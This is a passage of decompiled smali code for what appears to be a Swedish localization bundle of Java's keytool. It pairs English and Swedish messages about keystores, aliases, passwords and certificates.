                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, " \u0096keypasswd-kommandon st\u00f6ds inte om -storetype \u00e4r inst\u00e4lld p\u00e5 PKCS12"
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "-keypass och -new kan inte anges om -storetype \u00e4r {0}"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "om -protected har angetts f\u00e5r inte -storepass, -keypass och -new anges"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "om -srcprotected anges f\u00e5r -srcstorepass och -srckeypass inte anges"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "om nyckelfilen inte \u00e4r l\u00f6senordsskyddad f\u00e5r -storepass, -keypass och -new inte anges"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "om k\u00e4llnyckelfilen inte \u00e4r l\u00f6senordsskyddad f\u00e5r -srcstorepass och -srckeypass inte anges"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "Giltigheten m\u00e5ste vara st\u00f6rre \u00e4n noll"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0} inte en leverant\u00f6r"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "Anv\u00e4ndningsfel: inget kommando angivet"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "Anv\u00e4ndningsfel: {0} \u00e4r inte ett giltigt kommando"
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "Nyckellagrets k\u00e4llfil finns, men \u00e4r tom: "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "Ange -srckeystore"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "Det g\u00e5r inte att specificera b\u00e5de -v och -rfc med \'list\'-kommandot"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "Nyckell\u00f6senordet m\u00e5ste inneh\u00e5lla minst 6 tecken"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "Det nya l\u00f6senordet m\u00e5ste inneh\u00e5lla minst 6 tecken"
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "Keystore-filen finns, men \u00e4r tom: "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "Keystore-filen finns inte: "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "Du m\u00e5ste ange destinations-alias"
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "Du m\u00e5ste ange alias"
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "Keystore-l\u00f6senordet m\u00e5ste inneh\u00e5lla minst 6 tecken"
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "Ange keystore-l\u00f6senord: "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "Ange l\u00f6senord f\u00f6r k\u00e4llnyckellagret: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "Ange destination f\u00f6r nyckellagrets l\u00f6senord: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "Keystore-l\u00f6senordet \u00e4r f\u00f6r kort - det m\u00e5ste inneh\u00e5lla minst 6 tecken"
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "Ok\u00e4nd posttyp"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "Alias har inte \u00e4ndrats p.g.a. f\u00f6r m\u00e5nga fel."
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "Posten f\u00f6r alias {0} har importerats."
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "Posten f\u00f6r alias {0} har inte importerats."
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "Ett problem uppstod vid importen av posten f\u00f6r alias {0}: {1}.\nPosten har inte importerats."
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "Kommandoimporten slutf\u00f6rd: {0} poster har importerats, {1} poster var felaktiga eller utesl\u00f6ts"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "Varning! Det befintliga aliaset {0} i m\u00e5lnyckellagret skrivs \u00f6ver"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "Aliaset {0} finns redan. Vill du skriva \u00f6ver det? [no]: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "F\u00f6r m\u00e5nga fel - f\u00f6rs\u00f6k igen senare"
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "Certifikat-f\u00f6rfr\u00e5gan har lagrats i filen <{0}>"
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "Skicka detta till din CA"
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "om n\u00e5got alias inte anges f\u00e5r destalias, srckeypass och destkeypass inte anges"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "Certifikatet har lagrats i filen <{0}>"
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "Certifikatsvaret har installerats i keystore-filen"
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "Certifikatsvaret har inte installerats i keystore-filen"
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "Certifikatet har lagts till i keystore-filen"
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "Certifikatet har inte lagts till i keystore-filen"
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[Lagrar {0}]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} saknar offentlig nyckel (certifikat)"
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "Det g\u00e5r inte att h\u00e4mta n\u00e5gon signatur-algoritm"
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "Aliaset <{0}> finns inte"
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "Aliaset <{0}> saknar certifikat"
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "Nyckelparet genererades inte. Aliaset <{0}> finns redan"
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "Det g\u00e5r inte att h\u00e4mta n\u00e5gon signatur-algoritm"
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "Genererar {0}-bitars {1}-nyckelpar och sj\u00e4lvsignerat certifikat ({2}) med en giltighet p\u00e5 {3} dagar\n\tf\u00f6r: {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "Ange nyckell\u00f6senord f\u00f6r <{0}>"
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t(RETURN om det \u00e4r identiskt med keystore-l\u00f6senordet): "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "Nyckell\u00f6senordet \u00e4r f\u00f6r kort - det m\u00e5ste inneh\u00e5lla minst 6 tecken"
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "F\u00f6r m\u00e5nga fel - nyckeln lades inte till i keystore-filen"
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "Destinationsaliaset <{0}> finns redan"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "L\u00f6senordet \u00e4r f\u00f6r kort - det m\u00e5ste inneh\u00e5lla minst 6 tecken"
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "F\u00f6r m\u00e5nga fel. Nyckelposten har inte klonats"
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "nyckell\u00f6senord f\u00f6r <{0}>"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "Keystore-post f\u00f6r <{0}> finns redan"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "Skapar keystore-post f\u00f6r <{0}> ..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "Inga poster fr\u00e5n identitetsdatabasen har lagts till"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "Aliasnamn: {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "Skapat den: {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "Posttyp: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "L\u00e4ngd p\u00e5 certifikatskedja: "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "Certifikat[{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "Certifikatsfingeravtryck (MD5): "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "Posttyp: trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Keystore-typ: "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Keystore-leverant\u00f6r: "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "Din keystore inneh\u00e5ller en {0,number,integer} post"
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "Din keystore inneh\u00e5ller {0,number,integer} poster"
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "Det g\u00e5r inte att analysera indata"
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "Inga indata"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "Inte ett X.509-certifikat"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "Det g\u00e5r inte att h\u00e4mta n\u00e5gon signatur-algoritm"
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} saknar offentlig nyckel"
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} saknar X.509-certifikat"
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "Nytt certifikat (sj\u00e4lvsignerat):"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "Svaret saknar certifikat"
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "Certifikatet importerades inte. Aliaset <{0}> finns redan"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "Indata \u00e4r inte ett X.509-certifikat"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "Certifikatet finns redan i keystore-filen under aliaset <{0}>"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "Vill du fortfarande l\u00e4gga till det? [nej]: "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
